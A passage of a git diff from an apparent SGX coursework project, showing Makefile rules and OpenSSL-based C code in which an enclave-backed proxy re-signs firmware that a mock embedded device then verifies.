+	@echo "The project has been built in release simulation mode."
+endif
+endif
+
+run: all
+ifneq ($(Build_Mode), HW_RELEASE)
+	@$(CURDIR)/$(App_Name)
+	@echo "RUN  =>  $(App_Name) [$(SGX_MODE)|$(SGX_ARCH), OK]"
+endif
+
+######## App Objects ########
+
+app/enclave_u.c: $(SGX_EDGER8R) enclave/enclave.edl
+	@cd app && $(SGX_EDGER8R) --untrusted ../enclave/enclave.edl --search-path ../enclave --search-path $(SGX_SDK)/include
+	@echo "GEN  =>  $@"
+
+app/enclave_u.o: app/enclave_u.c
+	@$(CC) $(App_C_Flags) -c $< -o $@
+	@echo "CC   <=  $<"
+
+app/%.o: app/%.c
+	@$(CC) $(App_C_Flags) -c $< -o $@
+	@echo "CC  <=  $<"
+
+$(App_Name): app/enclave_u.o $(App_C_Objects)
+	@$(CC) $^ -o $@ $(App_Link_Flags)
+	@echo "LINK =>  $@"
+
+.config_$(Build_Mode)_$(SGX_ARCH):
+	@rm -f .config_* $(App_Name) $(Enclave_Name) $(Signed_Enclave_Name) $(App_C_Objects) app/enclave_u.* $(Enclave_C_Objects) enclave/enclave_t.*
+	@touch .config_$(Build_Mode)_$(SGX_ARCH)
+
+######## Enclave Objects ########
+
+enclave/enclave_t.c: $(SGX_EDGER8R) enclave/enclave.edl
+	@cd enclave && $(SGX_EDGER8R) --trusted ../enclave/enclave.edl --search-path ../enclave --search-path $(SGX_SDK)/include
+	@echo "GEN  =>  $@"
+
+enclave/enclave_t.o: enclave/enclave_t.c
+	@$(CC) $(Enclave_C_Flags) -c $< -o $@
+	@echo "CC   <=  $<"
+
+enclave/%.o: enclave/%.c
+	@$(CC) $(Enclave_C_Flags) -c $< -o $@
+	@echo "CC  <=  $<"
+
+$(Enclave_Name): enclave/enclave_t.o $(Enclave_C_Objects)
+	@$(CC) $^ -o $@ $(Enclave_Link_Flags)
+	@echo "LINK =>  $@"
+
+$(Signed_Enclave_Name): $(Enclave_Name)
+	@$(SGX_ENCLAVE_SIGNER) sign -key enclave/enclave_private.pem -enclave $(Enclave_Name) -out $@ -config $(Enclave_Config_File)
+	@echo "SIGN =>  $@"
+
+.PHONY: clean
+
+clean:
+	@rm -f .config_* $(App_Name) $(Enclave_Name) $(Signed_Enclave_Name) $(App_C_Objects) app/enclave_u.* $(Enclave_C_Objects) enclave/enclave_t.*

Assignment 7 - SGX Hands-on/src/app/embedded_device.c

@@ -0,0 +1,143 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include "util.h"
+
+#include <openssl/sha.h>
+#include <openssl/ec.h>
+#include <openssl/bn.h>
+#include <openssl/err.h>
+#include <openssl/evp.h>
+#include <openssl/pem.h>
+#include <openssl/core_names.h>
+
+#include "embedded_device.h"
+
+#define BUFSIZE 16384
+
+typedef struct {
+    uint8_t *firmware_path;
+    uint8_t *public_key_path;
+} embedded_device_args;
+
+char *embedded_device_syntax(void) {
+    return
+        "embedded            mock up implementation of a embedded device\n"
+        "    -ppub  <path>   file path of the PEM encoded public key of the proxy\n"
+        "    -firm  <path>   path of to firmware binary\n";
+}
+
+/*
+ * read secp256r1 public key and return it as EVP_PKEY*
+ */
+static EVP_PKEY *read_public_key(char *public_key_file_path, EVP_PKEY **key) {
+    if(public_key_file_path == NULL) {
+        fprintf(stderr, "public_key_file_path is a null pointer!\n");
+        return NULL;
+    }
+
+    FILE *fd = fopen(public_key_file_path, "rb");
+    if(fd == NULL) {
+        fprintf(stderr, "failed to open public key file!\n");
+        return NULL;
+    }
+
+    *key = PEM_read_PUBKEY(fd, key, NULL, NULL);
+    fclose(fd);
+
+    return *key;
+}
+
+/*
+ * hash the firmware
+ */
+static void hash_firmware(uint8_t *firmware_path, EVP_MD_CTX **ctx) {
+    if(firmware_path == NULL) {
+        fprintf(stderr, "firmware_path is a null pointer!\n");
+        return;
+    }
+
+    FILE *fd = fopen(firmware_path, "rb");
+    if(fd == NULL) {
+        fprintf(stderr, "failed to open firmware!\n");
+        goto exit;
+    }
+
+    size_t size;
+    uint8_t buf[BUFSIZE];
+    while((size = fread(buf, 1, BUFSIZE, fd)) != 0) {
+        EVP_DigestVerifyUpdate(*ctx, buf, size);
+    }
+    
+    exit: fclose(fd);
+}
+
+int handle_embedded_device(int argc, char **argv) {
+    uint8_t status = EXIT_SUCCESS;
+    embedded_device_args args = {
+        .firmware_path = NULL,
+        .public_key_path = NULL
+    };
+
+    // parse parameters
+    for(int i = 0; i < argc; i += 2) {
+        if((strcmp(argv[i], "-ppub") == 0) && (argc - i >= 2)) {
+            args.public_key_path = argv[i+1];
+        } else if((strcmp(argv[i], "-firm") == 0) && (argc - i >= 2)) {
+            args.firmware_path = argv[i+1];
+        } else {
+            syntax_exit();
+        }
+    }
+
+    // handle invalid parameters
+    if((args.firmware_path == NULL) || (args.public_key_path == NULL)) {
+        fprintf(stderr, "failed to parse arguments");
+        exit(EXIT_FAILURE);
+    }
+
+    // read the public key of the enclave
+    // normally, key would be hardcoded during production
+    EVP_PKEY *key = NULL;
+    if(read_public_key(args.public_key_path, &key) == NULL) {
+        fprintf(stderr, "failed to import public key");
+        status = EXIT_FAILURE;
+        goto clean;
+    }
+
+    // initialize the context
+    EVP_MD_CTX *ctx = EVP_MD_CTX_new();
+    if (EVP_DigestVerifyInit(ctx, NULL, EVP_sha256(), NULL, key) != 1) {
+        fprintf(stderr, "failed to initialize context\n");
+        status = EXIT_FAILURE;
+        goto clean;
+    }
+
+    // read the firmwares signature
+    uint8_t signature[BUFSIZE] = {0};
+    size_t signature_size = read(0, signature, BUFSIZE);
+    if(signature_size < 70) {
+        fprintf(stderr, "failed to read firmware signature\n");
+        status = EXIT_FAILURE;
+        goto clean;
+    }
+
+    // hash the firmware and verify the signature
+    hash_firmware(args.firmware_path, &ctx);
+    if (EVP_DigestVerifyFinal(ctx, signature, signature_size) != 1) {
+        fprintf(stderr, "failed to verify firmware signature or signature invalid\n");
+        status = EXIT_FAILURE;
+    }else {
+        printf("Firmware is valid! Update starts in 5 4 3...\n");
+    }
+
+    // cleanup
+    clean: ;
+    if(key != NULL)
+        EVP_PKEY_free(key);
+    if(ctx != NULL)
+        EVP_MD_CTX_free(ctx);
+
+    return status;
+}

Assignment 7 - SGX Hands-on/src/app/embedded_device.h

@@ -0,0 +1,23 @@
+#ifndef EMBEDDED_DEVICE_H
+#define EMBEDDED_DEVICE_H
+
+#include <stdint.h>
+
+/*
+ * @brief getter for embedded subcommand syntax string
+ *
+ * @returns null-terminated syntax string
+ */
+char *embedded_device_syntax(void);
+
+/*
+ * @brief CLI implementation for the "embedded" subcommand
+ *
+ * @param argc number of arguments with command and subcommand stripped
+ * @param argv arguments with command and subcommand stripped
+ *
+ * @returns 0 on success, else error with output on stderr
+ */
+int handle_embedded_device(int argc, char **argv);
+
+#endif

Assignment 7 - SGX Hands-on/src/app/employee.c

@@ -0,0 +1,135 @@
+#include <errno.h>
+#include <sgx_urts.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include "employee.h"
+#include "util.h"
+
+#include <openssl/core_names.h>
+#include <openssl/evp.h>
+#include <openssl/pem.h>
+
+#define HASH_BYTES 32
+#define HASH_CHUNK_BYTES 32
+#define KEY_BYTES 32
+
+struct EmployeeArgs {
+    char* key_path;
+    char* firmware_path;
+};
+
+char* employee_syntax(void) {
+    return
+        "employee            mock up implementation of the employee binary\n"
+        "                    outputs signature on stdout\n"
+        "                    WARNING: output is in binary format, may mess up terminal\n"
+        "    -ekey <path>    file path of the PEM encoded private key of the employee\n"
+        "    -firm <path>    path of the firmware\n";
+}
+
+int handle_employee(int argc, char** argv) {
+    struct EmployeeArgs args = {
+        NULL,
+        NULL
+    };
+    FILE* key_file = NULL;
+    uint8_t* firmware_buf;
+    size_t firmware_len;
+    EVP_PKEY* key = NULL;
+    EVP_MD_CTX *mdctx = NULL;
+    size_t sig_len;
+    unsigned char* sig = NULL;
+
+    /*
+     * Parse Input
+     */
+
+    int i = 0;
+    while(i < argc) {
+        if(strcmp(argv[i], "-ekey")==0 && argc-i >=2){
+            args.key_path = argv[i+1];
+            i += 2;
+        }else if(strcmp(argv[i], "-firm")==0 && argc-i >=2){
+            args.firmware_path = argv[i+1];
+            i += 2;
+        }else
+            syntax_exit();
+    }
+
+    if(args.key_path == NULL)
+        syntax_exit();
+
+    /*
+     * Load Signing Key
+     */
+
+    key_file = fopen(args.key_path, "rb");
+    if(key_file == NULL){
+        perror("Error opening key file");
+        exit (EXIT_FAILURE);
+    }
+    key = PEM_read_PrivateKey(key_file, &key, NULL, NULL);
+    if(key == NULL) {
+        fprintf(stderr, "failed to read key\n");
+        exit (EXIT_FAILURE);
+    }
+
+    fclose(key_file);
+
+    /*
+     * Sign Firmware
+     */
+
+    mdctx = EVP_MD_CTX_new();
+    if (EVP_DigestSignInit(mdctx, NULL, EVP_sha256(), NULL, key) != 1) {
+        fprintf(stderr, "Message digest initialization failed.\n");
+        exit (EXIT_FAILURE);
+    }
+
+    if (load_file(args.firmware_path, &firmware_buf, &firmware_len) != 0) {
+        fprintf(stderr, "failed to read firmware\n");
+        exit (EXIT_FAILURE);
+    }
+
+    if (EVP_DigestSignUpdate(mdctx, firmware_buf, firmware_len) != 1) {
+        printf("Message digest update failed.\n");
+        exit(EXIT_FAILURE);
+    }
+    free(firmware_buf);
+
+    // call with empty sig to get length
+    if (EVP_DigestSignFinal(mdctx, NULL, &sig_len) != 1) {
+        printf("Message digest finalization failed.\n");
+        exit (EXIT_FAILURE);
+    }
+
+    // allocate signature buffer
+    sig = malloc(sizeof(unsigned char) * sig_len);
+    if(sig == NULL){
+        perror("could not initialize digest buffer");
+        exit (EXIT_FAILURE);
+    }
+
+    // load signature into buffer
+    if (EVP_DigestSignFinal(mdctx, sig, &sig_len) != 1) {
+        printf("Message digest finalization failed.\n");
+        exit (EXIT_FAILURE);
+    }
+
+    fwrite(sig, sig_len, 1, stdout);
+    if (ferror(stdout) != 0) {
+        fprintf(stdout, "failed to write signature to stdout\n");
+        exit (EXIT_FAILURE);
+    }
+
+    fflush(stdout);
+
+    // free all allocated resources
+    free(sig);
+    EVP_MD_CTX_free(mdctx);
+    EVP_PKEY_free(key);
+    exit (EXIT_SUCCESS);
+}

Assignment 7 - SGX Hands-on/src/app/employee.h

@@ -0,0 +1,23 @@
+#ifndef _APP_INTERMEDIARY_H_
+#define _APP_INTERMEDIARY_H_
+
+
+/*
+ * @brief getter for employee subcommand syntax string
+ *
+ * @returns null-terminated syntax string
+ */
+char* employee_syntax(void);
+
+/*
+ * @brief CLI implementation for the "employee" subcommand
+ *
+ * @param argc number of arguments with command and subcommand stripped
+ * @param argv arguments with command and subcommand stripped
+ *
+ * @returns 0 on success, else error with output on stderr
+ */
+int handle_employee(int argc, char** argv);
+
+
+#endif

Assignment 7 - SGX Hands-on/src/app/main.c

@@ -0,0 +1,33 @@
+#include <errno.h>
+#include <string.h>
+
+#include "embedded_device.h"
+#include "employee.h"
+#include "proxy.h"
+#include "proxysetup.h"
+#include "util.h"
+
+
+/*
+ * main method of the binary calls the implementation of the specified subcommand
+ */
+int main(int argc, char** argv) {
+    if(argc < 1)
+        syntax_exit();
+    set_bin_name(argv[0]);
+    if(argc < 2)
+        syntax_exit();
+
+    char* command = argv[1];
+
+    if(strcmp(command, "employee")==0)
+        handle_employee(argc-2, argv+2);
+    else if (strcmp(command, "proxy")==0)
+        handle_proxy(argc-2, argv+2);
+    else if (strcmp(command, "proxysetup")==0)
+        handle_proxysetup(argc-2, argv+2);
+    else if (strcmp(command, "embedded")==0)
+        handle_embedded_device(argc-2, argv+2);
+    else
+        syntax_exit();
+}

Assignment 7 - SGX Hands-on/src/app/proxy.c

@@ -0,0 +1,435 @@
+#include <errno.h>
+#include <sgx_urts.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include <openssl/core_names.h>
+#include <openssl/evp.h>
+#include <openssl/param_build.h>
+#include <openssl/pem.h>
+
+#include <sgx_tcrypto.h>
+
+#include "enclave_u.h"
+#include "proxy.h"
+#include "util.h"
+
+
+struct ProxyArgs {
+    char* sealed_key_file_path;
+    char* sgx_token_path;
+    char* employee_public_key_path;
+    char* firmware_path;
+};
+
+char* proxy_syntax(void) {
+    return
+        "proxy               implementation of the enclave-powered SignatureProxy\n"
+        "                    expects intermediary signature on stdin\n"
+        "                    outputs proxied signature on stdout\n"
+        "                    WARNING: output is binary format, may mess up terminal\n"
+        "    -pkey <path>    file path of the sealed proxy key\n"
+        "    -epub <path>    path of the PEM encoded employee public key\n"
+        "    -firm <path>    path of the firmware\n"
+        "    -token <path>   (optional) file path of the sgx token\n";
+}
+
+static EVP_PKEY *sgx_public_to_EVP_PKEY(const sgx_ec256_public_t *p_public)
+{
+	EVP_PKEY *evp_key = NULL;
+	EVP_PKEY_CTX *pkey_ctx = NULL;
+	BIGNUM *bn_pub_x = NULL;
+	BIGNUM *bn_pub_y = NULL;
+	EC_POINT *point = NULL;
+    EC_GROUP* group = NULL;
+	OSSL_PARAM_BLD *params_build = NULL;
+	OSSL_PARAM *params = NULL;
+	const char *curvename = NULL;
+	int nid = 0;
+	size_t key_len;
+	unsigned char pub_key[SGX_ECP256_KEY_SIZE+4];
+
+    group = EC_GROUP_new_by_curve_name(NID_X9_62_prime256v1);
+	if (group == NULL)
+        return NULL;
+
+	do {
+		// converts the x value of public key, represented as positive integer in little-endian into a BIGNUM
+		bn_pub_x = BN_lebin2bn((unsigned char*)p_public->gx, sizeof(p_public->gx), bn_pub_x);
+		if (NULL == bn_pub_x) {
+			break;
+		}
+		// converts the y value of public key, represented as positive integer in little-endian into a BIGNUM
+		bn_pub_y = BN_lebin2bn((unsigned char*)p_public->gy, sizeof(p_public->gy), bn_pub_y);
+		if (NULL == bn_pub_y) {
+			break;
+		}
+		// creates new point and assigned the group object that the point relates to
+		point = EC_POINT_new(group);
+		if (NULL == point) {
+			break;
+		}
+
+		// sets point based on public key's x,y coordinates
+		if (1 != EC_POINT_set_affine_coordinates(group, point, bn_pub_x, bn_pub_y, NULL)) {
+			break;
+		}
+
+		// check point if the point is on curve
+		if (1 != EC_POINT_is_on_curve(group, point, NULL)) {
+			break;
+		}
+
+		// convert point to octet string
+		key_len = EC_POINT_point2oct(group, point, POINT_CONVERSION_COMPRESSED, pub_key, sizeof(pub_key), NULL);
+		if (key_len == 0) {
+			break;
+		}
+
+		// build OSSL_PARAM
+		params_build = OSSL_PARAM_BLD_new();
+		if (NULL == params_build) {
+			break;
+		}
+		nid = EC_GROUP_get_curve_name(group);
+		if (nid == NID_undef) {
+			break;
+		}
+		curvename = OBJ_nid2sn(nid);
+		if (curvename == NULL) {
+			break;
+		}
+		if (1 != OSSL_PARAM_BLD_push_utf8_string(params_build, "group", curvename, 0)) {
+			break;
+		}
+		if (1 != OSSL_PARAM_BLD_push_octet_string(params_build, OSSL_PKEY_PARAM_PUB_KEY, pub_key, key_len)) {
+			break;
+		}
+		params = OSSL_PARAM_BLD_to_param(params_build);
+		if (NULL == params) {
+			break;
+		}
+
+		// get pkey from params
+		pkey_ctx = EVP_PKEY_CTX_new_from_name(NULL, "EC", NULL);
+		if (NULL == pkey_ctx) {
+			break;
+		}
+		if (1 != EVP_PKEY_fromdata_init(pkey_ctx)) {
+			break;
+		}
+		if (1 != EVP_PKEY_fromdata(pkey_ctx, &evp_key, EVP_PKEY_PUBLIC_KEY, params)) {
+			EVP_PKEY_free(evp_key);
+			evp_key = NULL;
+		}
+	} while(0);
+
+	BN_clear_free(bn_pub_x);
+	BN_clear_free(bn_pub_y);
+	EC_POINT_clear_free(point);
+	OSSL_PARAM_free(params);
+	OSSL_PARAM_BLD_free(params_build);
+	EVP_PKEY_CTX_free(pkey_ctx);
+    EC_GROUP_free(group);
+
+	return evp_key;
+}
+
+static int EVP_PKEY_to_sgx_public(EVP_PKEY* ecdsa_key, sgx_ec256_public_t* sgx_public) {
+    EC_GROUP* group = NULL;
+	EC_POINT *point = NULL;
+    BIGNUM* pub_x = NULL;
+	BIGNUM* pub_y = NULL;
+    size_t ec_key_buf_len = 0;
+    unsigned char ec_key_buf[1024];
+    int ret;
+    int retval;
+
+    group = EC_GROUP_new_by_curve_name(NID_X9_62_prime256v1);
+	if (group == NULL)
+        return 1;
+
+    point = EC_POINT_new(group);
+    if (point == NULL)
+        return 2;
+
+    ret = EVP_PKEY_get_octet_string_param(ecdsa_key, OSSL_PKEY_PARAM_PUB_KEY, ec_key_buf, 1024, &ec_key_buf_len);
+    if (ret != 1)
+        return 3;
+
+    ret = EC_POINT_oct2point(group, point, ec_key_buf, ec_key_buf_len, NULL);
+    if (ret != 1){
+        retval = 4;
+        goto cleanup;
+    }
+
+    pub_x = BN_new();
+    pub_y = BN_new();
+
+    ret = EC_POINT_get_affine_coordinates(group, point, pub_x, pub_y, NULL);
+    if (ret != 1){
+        retval = 5;
+        goto cleanup;
+    }
+
+    ret = BN_bn2lebinpad(pub_x, sgx_public->gx, SGX_ECP256_KEY_SIZE);
+    if (ret == -1){
+        retval = 6;
+        goto cleanup;
+    }
+
+    ret = BN_bn2lebinpad(pub_y, sgx_public->gy, SGX_ECP256_KEY_SIZE);
+    if (ret == -1){
+        retval = 7;
+        goto cleanup;
+    }
+
+    retval = 0;
+
+cleanup:
+    if (pub_x != NULL)
+        BN_clear_free(pub_x);
+    if (pub_y != NULL)
+        BN_clear_free(pub_y);
+    if (point != NULL)
+        EC_POINT_clear_free(point);
+    if (group != NULL)
+        EC_GROUP_free(group);
+
+    return (retval);
+}
+
+static int ECDSA_SIG_to_sgx_signature(ECDSA_SIG* ecdsa_sig, sgx_ec256_signature_t* sgx_signature) {
+    const BIGNUM* r = NULL;
+	const BIGNUM* s = NULL;
+    int ret;
+
+    r = ECDSA_SIG_get0_r(ecdsa_sig);
+    s = ECDSA_SIG_get0_s(ecdsa_sig);
+
+    ret = BN_bn2lebinpad(r, (unsigned char*)sgx_signature->x, SGX_ECP256_KEY_SIZE);
+    if (ret == -1)
+        return (1);
+
+    ret = BN_bn2lebinpad(s, (unsigned char*)sgx_signature->y, SGX_ECP256_KEY_SIZE);
+    if (ret == -1)
+        return (2);
+
+    return (0);
+}
+
+/*
+ * This function is a modified version of the `sgx_ecdsa_verify_hash` function in the [Intel SGX crypto library](https://github.com/intel/linux-sgx/blob/main/sdk/tlibcrypto/sgxssl/sgx_ecc256_ecdsa.cpp).
+ * The specified License applies.
+ */
+static int sgx_signature_to_ECDSA_SIG(sgx_ec256_signature_t* sgx_signature, ECDSA_SIG** ecdsa_signature) {
+	BIGNUM *bn_r = NULL;
+	BIGNUM *bn_s = NULL;
+
+	// converts the x value of the signature, represented as positive integer in little-endian into a BIGNUM
+	//
+	bn_r = BN_lebin2bn((unsigned char*)sgx_signature->x, sizeof(sgx_signature->x), 0);
+	if (bn_r == NULL)
+        return (1);
+
+
+	// converts the y value of the signature, represented as positive integer in little-endian into a BIGNUM
+	//
+	bn_s = BN_lebin2bn((unsigned char*)sgx_signature->y, sizeof(sgx_signature->y), 0);
+	if (NULL == bn_s) {
+        if (bn_r != NULL)
+		    BN_clear_free(bn_r);
+
+        return (2);
+	}
+
+
+	// allocates a new ECDSA_SIG structure (note: this function also allocates the BIGNUMs) and initialize it
+	//
+	*ecdsa_signature = ECDSA_SIG_new();
+	if (NULL == *ecdsa_signature) {
+        if (bn_r != NULL)
+		    BN_clear_free(bn_r);
+        if (bn_s != NULL)
+		    BN_clear_free(bn_s);
+
+        return (3);
+	}
+
+	// setes the r and s values of ecdsa_sig
+	// calling this function transfers the memory management of the values to the ECDSA_SIG object,
+	// and therefore the values that have been passed in should not be freed directly after this function has been called
+	//
+	if (1 != ECDSA_SIG_set0(*ecdsa_signature, bn_r, bn_s)) {
+		ECDSA_SIG_free(*ecdsa_signature);
+		*ecdsa_signature = NULL;
+
+        if (bn_r != NULL)
+		    BN_clear_free(bn_r);
+
+        if (bn_s != NULL)
+		    BN_clear_free(bn_s);
+
+        return (4);
+	}
+
+    return (0);
+}
+
+int handle_proxy(int argc, char** argv) {
+    struct ProxyArgs args = {
+        NULL,
+        NULL,
+        NULL
+    };
+    uint8_t* sealed;
+    size_t sealed_len;
+    uint8_t* firmware;
+    size_t firmware_len;
+	unsigned char* ecdsa_signature_data;
+	size_t ecdsa_signature_size = 0;
+    uint8_t signature[70];
+    sgx_status_t ret;
+    ECDSA_SIG* ecdsa_signature;
+    sgx_ec256_signature_t sgx_signature;
+
+    /*
+     * Parse Input
+     */
+
+    int i = 0;
+    while(i < argc) {
+        if(strcmp(argv[i], "-pkey")==0 && argc-i >=2){
+            args.sealed_key_file_path = argv[i+1];
+            i += 2;
+        }else if(strcmp(argv[i], "-token")==0 && argc-i >=2){
+            args.sgx_token_path = argv[i+1];
+            i += 2;
+        }else if(strcmp(argv[i], "-epub")==0 && argc-i >=2){
+            args.employee_public_key_path = argv[i+1];
+            i += 2;
+        }else if(strcmp(argv[i], "-firm")==0 && argc-i >=2){
+            args.firmware_path = argv[i+1];
+            i += 2;
+        }else
+            syntax_exit();
+    }
+
+    if(args.sealed_key_file_path == NULL || args.employee_public_key_path == NULL || args.firmware_path == NULL)
+        syntax_exit();
+
+    /*
+     * Read And Parse Signature Input
+     */
+
+    ecdsa_signature_data = malloc(1024);
+    if (ecdsa_signature_data == NULL) {
+        perror("failed to allocate signature");
+        exit (EXIT_FAILURE);
+    }
+
+    ecdsa_signature_size = fread(ecdsa_signature_data, 1, 1024, stdin);
+
+    if (ferror(stdin) != 0) {
+        fprintf(stderr, "failed to read signature from stdin\n");
+        exit (EXIT_FAILURE);
+    }
+
+    ecdsa_signature = ECDSA_SIG_new();
+    ecdsa_signature = d2i_ECDSA_SIG(&ecdsa_signature, (const unsigned char**)&ecdsa_signature_data, ecdsa_signature_size);
+    ecdsa_signature_data = NULL;
+    if (ecdsa_signature == NULL) {
+        fprintf(stderr, "failed to read signature\n");
+        exit (EXIT_FAILURE);
+    }
+
+    if (ECDSA_SIG_to_sgx_signature(ecdsa_signature, &sgx_signature) != 0) {
+        fprintf(stderr, "failed to transform signature\n");
+        exit (EXIT_FAILURE);
+    }
+    ECDSA_SIG_free(ecdsa_signature);
+    ecdsa_signature = NULL;
+
+
+    // Initialize SGX Enclave
+    if (initialize_enclave(args.sgx_token_path) != 0)
+        exit(1);
+
+    /*
+     * Read Employee Public Key
+     */
+
+    EVP_PKEY* key = NULL;
+    FILE* key_file = fopen(args.employee_public_key_path, "rb");
+    if(key_file == NULL){
+        perror("Error opening employee public key file");
+        exit(1);
+    }
+    key = PEM_read_PUBKEY(key_file, &key, NULL, NULL);
+    if(key == NULL) {
+        fprintf(stderr, "failed to read employee public key\n");
+        exit (EXIT_FAILURE);
+    }
+    fclose(key_file);
+
+    sgx_ec256_public_t sgx_public;
+    if (EVP_PKEY_to_sgx_public(key, &sgx_public) != 0) {
+        fprintf(stderr, "failed transform employee public key\n");
+        exit (EXIT_FAILURE);
+    }
+
+    //Read Sealed Proxy Keypair
+    if (load_file(args.sealed_key_file_path, &sealed, &sealed_len)!=0){
+        fprintf(stderr, "failed to read sealed key\n");
+        exit (EXIT_FAILURE);
+    }
+
+    // Read Firmware
+    if (load_file(args.firmware_path, &firmware, &firmware_len)!=0){
+        fprintf(stderr, "failed to read firmware\n");
+        exit (EXIT_FAILURE);
+    }
+
+    /*
+     * Use Enclave To Resign the Firmware
+     */
+
+    sign_firmware(get_global_eid(), &ret, firmware, firmware_len, sealed, sealed_len, (uint8_t*)&sgx_public, (uint8_t*)&sgx_signature);
+    if (ret != SGX_SUCCESS) {
+        sgx_print_error_message(ret);
+        exit (1);
+    }
+
+    free(sealed);
+    free(firmware);
+
+    /*
+     * Output Signature
+     */
+    if (sgx_signature_to_ECDSA_SIG(&sgx_signature, &ecdsa_signature) != 0) {
+        fprintf(stderr, "could not convert signature\n");
+        exit (EXIT_FAILURE);
+    }
+
+    ecdsa_signature_data = NULL;
+	ecdsa_signature_size = i2d_ECDSA_SIG(ecdsa_signature, &ecdsa_signature_data);
+	if (ecdsa_signature_size <= 0) {
+        fprintf(stderr, "could not convert signature\n");
+        exit (EXIT_FAILURE);
+	}
+
+    fwrite(ecdsa_signature_data, ecdsa_signature_size, 1, stdout);
+
+    if (ferror(stdout) != 0) {
+        fprintf(stderr, "could not write signature to stdout\n");
+        exit (EXIT_FAILURE);
+    }
+
+    fflush(stdout);
+
+    free(ecdsa_signature_data);
+    ECDSA_SIG_free(ecdsa_signature);
+
+    exit (EXIT_SUCCESS);
+}

Assignment 7 - SGX Hands-on/src/app/proxy.h

@@ -0,0 +1,23 @@
+#ifndef _APP_PROXY_H_
+#define _APP_PROXY_H_
+
+
+/*
+ * @brief getter for proxy subcommand syntax string
+ *
+ * @returns null-terminated syntax string
+ */
+char* proxy_syntax(void);
+
+/*
+ * @brief CLI implementation for the "proxy" subcommand
+ *
+ * @param argc number of arguments with command and subcommand stripped
+ * @param argv arguments with command and subcommand stripped
+ *
+ * @returns 0 on success, else error with output on stderr
+ */
+int handle_proxy(int argc, char** argv);
+
+
+#endif

Assignment 7 - SGX Hands-on/src/app/proxysetup.c

@@ -0,0 +1,237 @@
+#include <errno.h>
+#include <sgx_urts.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include <openssl/core_names.h>
+#include <openssl/evp.h>
+#include <openssl/param_build.h>
+#include <openssl/pem.h>
+
+#include <sgx_tcrypto.h>
+
+#include "enclave_u.h"
+#include "proxysetup.h"
+#include "util.h"
+
+struct ProxysetupArgs {
+    char* sealed_key_file_path;
+    char* sgx_token_path;
+};
+
+char* proxysetup_syntax(void) {
+    return
+        "proxysetup          implementation of the enclave-powered SignatureProxy\n"
+        "                    outputs public key on stdout\n"
+        "    -pkey <path>    file path of the sealed proxy key\n"
+        "    -token <path>   (optional) file path of the sgx token\n";
+}
+
+/*
+ * This function is a modified version of the `get_pub_key_from_coords` function in the [Intel SGX crypto library](https://github.com/intel/linux-sgx/blob/c1ceb4fe146e0feb1097dee81c7e89925443e43c/sdk/tlibcrypto/sgxssl/sgx_ecc256.cpp).
+ * The specified License applies.
+ */
+static EVP_PKEY *sgx_public_to_EVP_PKEY(const sgx_ec256_public_t *p_public)
+{
+	EVP_PKEY *evp_key = NULL;
+	EVP_PKEY_CTX *pkey_ctx = NULL;
+	BIGNUM *bn_pub_x = NULL;
+	BIGNUM *bn_pub_y = NULL;
+	EC_POINT *point = NULL;
+    EC_GROUP* group = NULL;
+	OSSL_PARAM_BLD *params_build = NULL;
+	OSSL_PARAM *params = NULL;
+	const char *curvename = NULL;
+	int nid = 0;
+	size_t key_len;
+	unsigned char pub_key[SGX_ECP256_KEY_SIZE+4];
+
+    group = EC_GROUP_new_by_curve_name(NID_X9_62_prime256v1);
+	if (group == NULL)
+        return NULL;
+
+	do {
+		// converts the x value of public key, represented as positive integer in little-endian into a BIGNUM
+		bn_pub_x = BN_lebin2bn((unsigned char*)p_public->gx, sizeof(p_public->gx), bn_pub_x);
+		if (NULL == bn_pub_x) {
+			break;
+		}
+		// converts the y value of public key, represented as positive integer in little-endian into a BIGNUM
+		bn_pub_y = BN_lebin2bn((unsigned char*)p_public->gy, sizeof(p_public->gy), bn_pub_y);
+		if (NULL == bn_pub_y) {
+			break;
+		}
+		// creates new point and assigned the group object that the point relates to
+		point = EC_POINT_new(group);
+		if (NULL == point) {
+			break;
+		}
+
+		// sets point based on public key's x,y coordinates
+		if (1 != EC_POINT_set_affine_coordinates(group, point, bn_pub_x, bn_pub_y, NULL)) {
+			break;
+		}
+
+		// check point if the point is on curve
+		if (1 != EC_POINT_is_on_curve(group, point, NULL)) {
+			break;
+		}
+
+		// convert point to octet string
+		key_len = EC_POINT_point2oct(group, point, POINT_CONVERSION_COMPRESSED, pub_key, sizeof(pub_key), NULL);
+		if (key_len == 0) {
+			break;
+		}
+
+		// build OSSL_PARAM
+		params_build = OSSL_PARAM_BLD_new();
+		if (NULL == params_build) {
+			break;
+		}
+		nid = EC_GROUP_get_curve_name(group);
+		if (nid == NID_undef) {
+			break;
+		}
+		curvename = OBJ_nid2sn(nid);
+		if (curvename == NULL) {
+			break;
+		}
+		if (1 != OSSL_PARAM_BLD_push_utf8_string(params_build, "group", curvename, 0)) {
+			break;
+		}
+		if (1 != OSSL_PARAM_BLD_push_octet_string(params_build, OSSL_PKEY_PARAM_PUB_KEY, pub_key, key_len)) {
+			break;
+		}
+		params = OSSL_PARAM_BLD_to_param(params_build);
+		if (NULL == params) {
+			break;
+		}
+
+		// get pkey from params
+		pkey_ctx = EVP_PKEY_CTX_new_from_name(NULL, "EC", NULL);
+		if (NULL == pkey_ctx) {
+			break;
+		}
+		if (1 != EVP_PKEY_fromdata_init(pkey_ctx)) {
+			break;
+		}
+		if (1 != EVP_PKEY_fromdata(pkey_ctx, &evp_key, EVP_PKEY_PUBLIC_KEY, params)) {
+			EVP_PKEY_free(evp_key);
+			evp_key = NULL;
+		}
+	} while(0);
+
+	BN_clear_free(bn_pub_x);
+	BN_clear_free(bn_pub_y);
+	EC_POINT_clear_free(point);
+	OSSL_PARAM_free(params);
+	OSSL_PARAM_BLD_free(params_build);
+	EVP_PKEY_CTX_free(pkey_ctx);
+    EC_GROUP_free(group);
+
+	return evp_key;
+}
+
+int handle_proxysetup(int argc, char** argv) {
+    struct ProxysetupArgs args = {
+        NULL,
+        NULL
+    };
+    FILE* sealed_file;
+    int sealed_size;
+    uint8_t* sealed;
+    sgx_ec256_public_t sgx_public_key;
+    EVP_PKEY* public_key;
+    sgx_status_t sgx_ret;
+
+    /*
+     * Parse Input
+     */
+
+    int i = 0;
+    while(i < argc) {
+        if(strcmp(argv[i], "-pkey")==0 && argc-i >=2){
